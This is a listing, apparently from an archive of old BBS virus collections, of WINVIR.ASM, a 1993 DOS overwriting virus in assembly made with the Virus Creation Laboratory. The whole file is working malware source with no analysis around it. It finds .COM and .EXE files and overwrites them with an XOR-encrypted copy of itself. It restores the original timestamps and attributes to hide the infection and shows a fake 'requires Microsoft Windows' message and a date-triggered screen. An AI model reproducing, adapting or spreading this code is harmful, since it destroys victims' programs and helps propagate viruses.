home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / winvir.asm < prev    next >
Assembly Source File  |  1993-05-07  |  10KB  |  330 lines

  1. ; WINVIR.ASM -- Windows Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by BlenderHead
  4.  
  5. virus_type    equ    1            ; Overwriting Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. start        label    near
  14.  
  15. main        proc    near
  16. flag:        xchg    cx,ax
  17.         xchg    ch,ch
  18.         xchg    cx,ax
  19.  
  20.         call    encrypt_decrypt        ; Decrypt the virus
  21.  
  22. start_of_code    label    near
  23.  
  24.         call    search_files        ; Find and infect a file
  25.  
  26.         mov    si,offset data00    ; SI points to data
  27.         mov    ah,0Eh            ; BIOS display char. function
  28. display_loop:   lodsb                ; Load the next char. into AL
  29.         or    al,al            ; Is the character a null?
  30.         je    disp_strnend        ; If it is, exit
  31.         int    010h            ; BIOS video interrupt
  32.         jmp    short display_loop    ; Do the next character
  33. disp_strnend:
  34.  
  35.         call    get_weekday
  36.         cmp    ax,0002h        ; Did the function return 2?
  37.         jne    skip00            ; If not equal, skip effect
  38.         call    get_second
  39.         cmp    ax,0016h        ; Did the function return 22?
  40.         jne    skip00            ; If not equal, skip effect
  41.         jmp    short strt00        ; Success -- skip jump
  42. skip00:        jmp    end00            ; Skip the routine
  43. strt00:        mov    si,offset data01    ; SI points to data
  44.         mov    cx,0173h        ; Second argument is 371
  45.         push    di                      ; Save DI
  46.         push    es            ; Save ES
  47.  
  48.         jcxz    uncrunch_done        ; Exit if there are no characters
  49.  
  50.         mov    ah,0Fh              ; BIOS get screen mode function
  51.         int    10h
  52.         xor    ah,ah               ; BIOS set screen mode function
  53.         int    10h                 ; Clear the screen
  54.  
  55.         xor    di,di
  56.         mov    ax,0B800h        ; AX is set to video segment
  57.         mov    es,ax            ; ES holds video segment
  58.  
  59.         mov    dx,di            ; Save X coordinate for later
  60.         xor    ax,ax            ; Set current attributes
  61.         cld
  62.  
  63. loopa:        lodsb                ; Get next character
  64.         cmp    al,32            ; Is it a control character?
  65.         jb    foreground        ; Handle it if it is
  66.         stosw                ; Save letter on screen
  67. next:        loop    loopa            ; Repeat until we're done
  68.         jmp    short uncrunch_done    ; Leave this routine
  69.  
  70. foreground:    cmp    al,16            ; Are we changing the foreground?
  71.         jnb    background        ; If not, check the background
  72.         and    ah,0F0h            ; Strip off old foreground
  73.         or    ah,al            ; Put the new one on
  74.         jmp    short next        ; Resume looping
  75.  
  76. background:    cmp    al,24            ; Are we changing the background?
  77.         je    next_line        ; If AL = 24, go to next line
  78.         jnb    flash_bit_toggle    ; If AL > 24 set the flash bit
  79.         sub    al,16           ; Change AL to a color number
  80.         add    al,al            ; Crude way of shifting left
  81.         add    al,al                   ; four bits without changing
  82.         add    al,al                   ; CL or wasting space.  Ok,
  83.         add    al,al                   ; I guess.
  84.         and    al,08Fh            ; Strip off old background
  85.         or    ah,al            ; Put the new one on
  86.         jmp    short next        ; Resume looping
  87.  
  88. next_line:    add    dx,160            ; Skip a whole line (80 chars.
  89.         mov    di,dx            ; AND 80 attribs.)
  90.         jmp    short next        ; Resume looping
  91.  
  92. flash_bit_toggle: cmp    al,27            ; Is it a blink toggle?
  93.         jb    multi_output        ; If AL < 27, it's a blinker
  94.         jne    next            ; Otherwise resume looping
  95.         xor    ah,128            ; Toggle the flash bit
  96.         jmp    short next        ; Resume looping
  97.  
  98. multi_output:   cmp    al,25            ; Set Zero flag if multi-space
  99.         mov    bx,cx            ; Save main counter
  100.         lodsb                ; Get number of repititions
  101.         mov    cl,al            ; Put it in CL
  102.         mov    al,' '            ; AL holds a space
  103.         jz    start_output        ; If displaying spaces, jump
  104.         lodsb                ; Otherwise get character to use
  105.         dec    bx            ; Adjust main counter
  106.  
  107. start_output:    xor    ch,ch            ; Clear CH
  108.         inc    cx            ; Add one to count
  109.     rep    stosw                ; Display the character
  110.         mov    cx,bx            ; Restore main counter
  111.         dec    cx            ; Adjust main counter
  112.         loopnz    loopa            ; Resume looping if not done
  113.  
  114. uncrunch_done:    pop    es            ; Restore ES
  115.         pop    di            ; Restore DI
  116.  
  117. end00:        mov    ax,04C00h        ; DOS terminate function
  118.         int    021h
  119. main        endp
  120.  
  121. search_files    proc    near
  122.         mov    dx,offset com_mask    ; DX points to "*.COM"
  123.         call    find_files        ; Try to infect a file
  124.         jnc    done_searching        ; If successful then exit
  125.         mov    dx,offset exe_mask    ; DX points to "*.EXE"
  126.         call    find_files        ; Try to infect a file
  127. done_searching:    ret                ; Return to caller
  128.  
  129. com_mask    db    "*.COM",0        ; Mask for all .COM files
  130. exe_mask    db    "*.EXE",0        ; Mask for all .EXE files
  131. search_files    endp
  132.  
  133. find_files    proc    near
  134.         push    bp            ; Save BP
  135.  
  136.         mov    ah,02Fh            ; DOS get DTA function
  137.         int    021h
  138.         push    bx            ; Save old DTA address
  139.  
  140.         mov    bp,sp            ; BP points to local buffer
  141.         sub    sp,128            ; Allocate 128 bytes on stack
  142.  
  143.         push    dx            ; Save file mask
  144.         mov    ah,01Ah            ; DOS set DTA function
  145.         lea    dx,[bp - 128]        ; DX points to buffer
  146.         int    021h
  147.  
  148.         mov    ah,04Eh            ; DOS find first file function
  149.         mov    cx,00100111b        ; CX holds all file attributes
  150.         pop    dx            ; Restore file mask
  151. find_a_file:    int    021h
  152.         jc    done_finding        ; Exit if no files found
  153.         call    infect_file        ; Infect the file!
  154.         jnc    done_finding        ; Exit if no error
  155.         mov    ah,04Fh            ; DOS find next file function
  156.         jmp    short find_a_file    ; Try finding another file
  157.  
  158. done_finding:    mov    sp,bp            ; Restore old stack frame
  159.         mov    ah,01Ah            ; DOS set DTA function
  160.         pop    dx            ; Retrieve old DTA address
  161.         int    021h
  162.  
  163.         pop    bp            ; Restore BP
  164.         ret                ; Return to caller
  165. find_files    endp
  166.  
  167. infect_file    proc    near
  168.         mov    ah,02Fh            ; DOS get DTA address function
  169.         int    021h
  170.         mov    si,bx            ; SI points to the DTA
  171.  
  172.         mov    byte ptr [set_carry],0    ; Assume we'll fail
  173.  
  174.         cmp    word ptr [si + 01Ch],0    ; Is the file > 65535 bytes?
  175.         jne    infection_done        ; If it is then exit
  176.  
  177.         cmp    word ptr [si + 025h],'DN'  ; Might this be COMMAND.COM?
  178.         je    infection_done        ; If it is then skip it
  179.  
  180.         cmp    word ptr [si + 01Ah],(finish - start)
  181.         jb    infection_done        ; If it's too small then exit
  182.  
  183.         mov    ax,03D00h        ; DOS open file function, r/o
  184.         lea    dx,[si + 01Eh]        ; DX points to file name
  185.         int    021h
  186.         xchg    bx,ax            ; BX holds file handle
  187.  
  188.         mov    ah,03Fh            ; DOS read from file function
  189.         mov    cx,4            ; CX holds bytes to read (4)
  190.         mov    dx,offset buffer    ; DX points to buffer
  191.         int    021h
  192.  
  193.         mov    ah,03Eh            ; DOS close file function
  194.         int    021h
  195.  
  196.         push    si            ; Save DTA address before compare
  197.         mov    si,offset buffer    ; SI points to comparison buffer
  198.         mov    di,offset flag        ; DI points to virus flag
  199.         mov    cx,4            ; CX holds number of bytes (4)
  200.     rep    cmpsb                ; Compare the first four bytes
  201.         pop    si            ; Restore DTA address
  202.         je    infection_done        ; If equal then exit
  203.         mov    byte ptr [set_carry],1    ; Success -- the file is OK
  204.  
  205.         mov    ax,04301h        ; DOS set file attrib. function
  206.         xor    cx,cx            ; Clear all attributes
  207.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  208.         int    021h
  209.  
  210.         mov    ax,03D02h        ; DOS open file function, r/w
  211.         int    021h
  212.         xchg    bx,ax            ; BX holds file handle
  213.  
  214.         push    si            ; Save SI through call
  215.         call    encrypt_code        ; Write an encrypted copy
  216.         pop    si            ; Restore SI
  217.  
  218.         mov    ax,05701h        ; DOS set file time function
  219.         mov    cx,[si + 016h]        ; CX holds old file time
  220.         mov    dx,[si + 018h]        ; DX holds old file date
  221.         int    021h
  222.  
  223.         mov    ah,03Eh            ; DOS close file function
  224.         int    021h
  225.  
  226.         mov    ax,04301h        ; DOS set file attrib. function
  227.         xor    ch,ch            ; Clear CH for file attribute
  228.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  229.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  230.         int    021h
  231.  
  232. infection_done:    cmp    byte ptr [set_carry],1    ; Set carry flag if failed
  233.         ret                ; Return to caller
  234.  
  235. buffer        db    4 dup (?)        ; Buffer to hold test data
  236. set_carry    db    ?            ; Set-carry-on-exit flag
  237. infect_file    endp
  238.  
  239.  
  240. get_second      proc    near
  241.         mov    ah,02Ch            ; DOS get time function
  242.         int    021h
  243.         mov    al,dh            ; Copy second into AL
  244.         cbw                ; Sign-extend AL into AX
  245.         ret                ; Return to caller
  246. get_second      endp
  247.  
  248. get_weekday     proc    near
  249.         mov    ah,02Ah            ; DOS get date function
  250.         int    021h
  251.         cbw                ; Sign-extend AL into AX
  252.         ret                ; Return to caller
  253. get_weekday     endp
  254.  
  255. data00        db    "This program requires Microsoft Windows."
  256.  
  257. data01                DB      15,16,24,25,6,'▄██▄',25,2,'▄██▄  ▄█▄  ▄██▄',25,2,'▄█'
  258.                 DB      '█▄',24,25,6,26,3,'█',25,2,26,3,'█ ',26,4,'█ ',26,4,'█'
  259.                 DB      '▄ ',26,3,'█',24,25,6,26,3,'█',25,2,26,3,'█ ',26,4,'█'
  260.                 DB      ' ',26,10,'█ ▄▄',26,3,'█▄▄',24,25,6,26,3,'█▄█▄',26,3,'█'
  261.                 DB      ' ',26,4,'█ ',26,3,'█▀',26,5,'█ ▀▀',26,3,'█▀▀',24,25,6
  262.                 DB      26,10,'█ ',26,4,'█ ',26,3,'█  ▀',26,3,'█',24,25,7,'▀'
  263.                 DB      '██▀ ▀██▀',25,2,'▀█▀  ▀██▀',25,2,'▀██▀',24,24,'  ▄',26
  264.                 DB      7,'█▄',25,2,'▄',26,6,'█▄  ▄',26,8,'█▄ ▄',26,8,'█▄',24
  265.                 DB      '  ',26,3,'█',25,2,'▀███ ',26,3,'█▀▀▀',26,3,'█ ',26,4
  266.                 DB      '▀',26,4,'█▀ ',26,3,'█',25,3,'▀▀▀',24,'  ',26,3,'█',25
  267.                 DB      3,'███ ███',25,4,'███',25,3,'▄',26,3,'█▀',25,2,26,3,'█'
  268.                 DB      26,4,'▄',24,'  ',26,3,'█',25,3,'███ ███',25,4,'███  '
  269.                 DB      '▄',26,3,'█▀',25,4,26,3,'█',26,4,'▀',24,'  ',26,3,'█'
  270.                 DB      '▄▄▄███▀ ',26,3,'█▄▄▄',26,3,'█ ',26,4,'█',26,5,'▄ ',26
  271.                 DB      3,'█',25,3,'▄▄▄',24,'  ▀',26,6,'█▀',25,3,'▀',26,6,'█'
  272.                 DB      '▀  ▀',26,8,'█▀ ▀',26,8,'█▀',24,24
  273.  
  274. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  275.  
  276.  
  277. note        db    "BlenderHead '93"
  278.  
  279. encrypt_code    proc    near
  280.         mov    si,offset encrypt_decrypt; SI points to cipher routine
  281.  
  282.         xor    ah,ah            ; BIOS get time function
  283.         int    01Ah
  284.         mov    word ptr [si + 8],dx    ; Low word of timer is new key
  285.  
  286.         xor    byte ptr [si],1        ;
  287.         xor    byte ptr [si + 7],1    ; Change all SIs to DIs
  288.         xor    word ptr [si + 10],0101h; (and vice-versa)
  289.  
  290.         mov    di,offset finish    ; Copy routine into heap
  291.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  292.         push    si            ; Save SI for later
  293.         push    cx            ; Save CX for later
  294.     rep    movsb                ; Copy the bytes
  295.  
  296.         mov    si,offset write_stuff    ; SI points to write stuff
  297.         mov    cx,5            ; CX holds length of write
  298.     rep    movsb                ; Copy the bytes
  299.  
  300.         pop    cx            ; Restore CX
  301.         pop    si            ; Restore SI
  302.         inc    cx            ; Copy the RET also this time
  303.     rep    movsb                ; Copy the routine again
  304.  
  305.         mov    ah,040h            ; DOS write to file function
  306.         mov    dx,offset start        ; DX points to virus
  307.  
  308.         call    finish            ; Encrypt/write/decrypt
  309.  
  310.         ret                ; Return to caller
  311.  
  312. write_stuff:    mov    cx,finish - start    ; Length of code
  313.         int    021h
  314. encrypt_code    endp
  315.  
  316. end_of_code    label    near
  317.  
  318. encrypt_decrypt    proc    near
  319.         mov    si,offset start_of_code ; SI points to code to decrypt
  320.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  321. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  322.         inc    si            ; Do the next word
  323.         inc    si            ;
  324.         loop    xor_loop        ; Loop until we're through
  325.         ret                ; Return to caller
  326. encrypt_decrypt    endp
  327. finish        label    near
  328.  
  329. code        ends
  330.         end    main